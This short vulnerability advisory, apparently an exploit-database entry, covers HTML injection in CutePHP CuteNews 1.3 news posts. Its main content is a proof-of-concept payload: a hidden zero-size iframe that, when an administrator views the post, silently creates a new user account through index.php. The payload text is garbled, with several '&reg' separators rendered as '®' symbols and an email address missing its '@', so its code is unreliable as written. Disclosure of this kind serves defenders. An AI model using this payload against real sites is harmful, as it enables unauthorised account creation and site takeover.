CutePHP CuteNews 1.3 - HTML Injection
source: https://www.securityfocus.com/bid/8060/info
CutePHP is prone to HTML injection attacks. The vulnerability exists due to insufficient sanitization of user-supplied input. Specifically, user-supplied input to news posts are not sufficiently sanitized of malicious HTML code.
<iframe src="index.php?regusername=owned®password= pass®nickname=owned®email=nonenone.com®level= 1&action=adduser&mod=editusers" height=0 width=0 frameborder=0 scrolling=0></iframe>